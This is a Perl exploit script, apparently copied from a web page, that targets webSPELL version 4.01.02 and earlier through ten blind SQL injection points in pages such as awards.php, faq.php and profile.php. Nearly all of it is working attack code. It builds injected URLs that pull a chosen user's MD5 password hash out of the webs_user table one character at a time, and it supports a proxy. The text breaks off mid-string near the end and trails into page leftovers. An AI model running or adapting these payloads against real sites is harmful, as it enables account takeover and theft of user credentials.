#!/usr/bin/perl<br />
use LWP::UserAgent;<br />
use Getopt::Long;<br />
<br />
if(!$ARGV[3])<br />
{<br />
  print \"
                           \\#\'#/                        \";<br />
  print \"
                           (-.-)                         \";<br />
  print \"
   -------------------oOO---(_)---OOo--------------------\";<br />
  print \"
   | webSPELL <= v4.01.02 Multiple Remote SQL Injection |\";<br />
  print \"
   |                   coded by DNX                     |\";<br />
  print \"
   ------------------------------------------------------\";<br />
  print \"
[!] Solution: install security fix\";<br />
  print \"
[!] Usage: perl ws.pl [Host] [Path] [Target] <Options>\";<br />
  print \"
[!] Example: perl ws.pl 127.0.0.1 /webspell/ -0 -id 1\";<br />
  print \"
[!] Targets:\";<br />
  print \"
       -0            Bug in awards.php line 207, inject code in $awardID\";<br />
  print \"
       -1            Bug in clanwars_details.php line 36, inject code in $cwID\";<br />
  print \"
       -2            Bug in demos.php line 301, inject code in $demoID\";<br />
  print \"
       -3            Bug in profile.php line 37, inject code in $id\";<br />
  print \"
       -4            Bug in links.php line 139, inject code in $linkcatID\";<br />
  print \"
       -5            Bug in faq.php line 37, inject code in $faqcatID\";<br />
  print \"
       -6            Bug in faq.php line 72, inject code in $faqID\";<br />
  print \"
       -7            Bug in articles.php line 256, inject code in $articlesID\";<br />
  print \"
       -8            Bug in news_comments.php line 38, inject code in $newsID\";<br />
  print \"
       -9            Bug in cash_box.php line 119, inject code in $id\";<br />
  print \"
[!] Options:\";<br />
  print \"
       -id [no]      Valid ID for $awardID, $cwID, $demoID, $newsID, ...\";<br />
  print \"
       -uid [no]     User-ID, default is 1\";<br />
  print \"
       -t [name]     Changed the user table name, default is webs_user\";<br />
  print \"
       -p [ip:port]  Proxy support\";<br />
  print \"
\";<br />
  exit;<br />
}<br />
<br />
my $host    = $ARGV[0];<br />
my $path    = $ARGV[1];<br />
my $user    = 1;<br />
my $table   = \"webs_user\";<br />
my $id      = 0;<br />
my %options = ();<br />
GetOptions(\\%options, \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"id=i\", \"uid=i\", \"t=s\", \"p=s\");<br />
<br />
print \"[!] Exploiting...
\";<br />
<br />
if($options{\"id\"})<br />
{<br />
  $id = $options{\"id\"};<br />
}<br />
else<br />
{<br />
  print \"[!] Exploit failed, missing parameter
\";<br />
  exit;<br />
}<br />
<br />
if($options{\"uid\"})<br />
{<br />
  $user = $options{\"uid\"};<br />
}<br />
<br />
if($options{\"t\"})<br />
{<br />
  $table = $options{\"t\"};<br />
}<br />
<br />
syswrite(STDOUT, \"[!] MD5-Hash: \", 14);<br />
<br />
for(my $i = 1; $i <= 32; $i++)<br />
{<br />
  my $found = 0;<br />
  my $h = 48;<br />
  while(!$found && $h <= 57)<br />
  {<br />
    if(istrue3($host, $path, $table, $id, $user, $i, $h))<br />
    {<br />
      $found = 1;<br />
      syswrite(STDOUT, chr($h), 1);<br />
    }<br />
    $h++;<br />
  }<br />
  if(!$found)<br />
  {<br />
    $h = 97;<br />
    while(!$found && $h <= 122)<br />
    {<br />
      if(istrue3($host, $path, $table, $id, $user, $i, $h))<br />
      {<br />
        $found = 1;<br />
        syswrite(STDOUT, chr($h), 1);<br />
      }<br />
      $h++;<br />
    }<br />
  }<br />
}<br />
<br />
print \"
[!] Exploit done
\";<br />
<br />
sub istrue3<br />
{<br />
  my $host   = shift;<br />
  my $path   = shift;<br />
  my $table  = shift;<br />
  my $id     = shift;<br />
  my $uid    = shift;<br />
  my $i      = shift;<br />
  my $h      = shift;<br />
  my $url    = \"http://\".$host.$path;<br />
  my $regexp = \"\";<br />
  <br />
  my $ua = LWP::UserAgent->new;<br />
  <br />
  if($options{\"0\"})<br />
  {<br />
    $url .= \"index.php?site=awards&action=details&awardID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";  <br />
    $regexp = \"Event: -\";<br />
  }<br />
  if($options{\"1\"})<br />
  {<br />
    $url .= \"index.php?site=clanwars_details&cwID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"<img src=\"images/games/.gif\";<br />
  }<br />
  if($options{\"2\"})<br />
  {<br />
    $url .= \"index.php?site=demos&action=showdemo&demoID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"<img src=\"images/games/.gif\";<br />
  }<br />
  if($options{\"3\"})<br />
  {<br />
    $url .= \"index.php?site=profile&action=buddys&id=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no buddys\";<br />
  }<br />
  if($options{\"4\"})<br />
  {<br />
    $url .= \"index.php?site=links&action=show&linkcatID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no links available\";<br />
  }<br />
  if($options{\"5\"})<br />
  {<br />
    $url .= \"index.php?site=faq&action=faqcat&faqcatID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no faq available\";<br />
  }<br />
  if($options{\"6\"})<br />
  {<br />
    $url .= \"index.php?site=faq&action=faq&faqID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no faq available\";<br />
  }<br />
  if($options{\"7\"})<br />
  {<br />
    $url .= \"index.php?site=articles&action=show&articlesID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no entries\";<br />
  }<br />
  if($options{\"8\"})<br />
  {<br />
    $url .= \"index.php?site=news_comments&newsID=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"no version in selected language available\";<br />
  }<br />
  if($options{\"9\"})<br />
  {<br />
    $url .= \"index.php?site=cash_box&action=edit&id=\".$id.\"\'%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")/*\";<br />
    $regexp = \"<textarea name=\"info\" cols=\"50\" rows=\"7\">
                              
                        
                    
                
              
                
             
          
          
暂无评论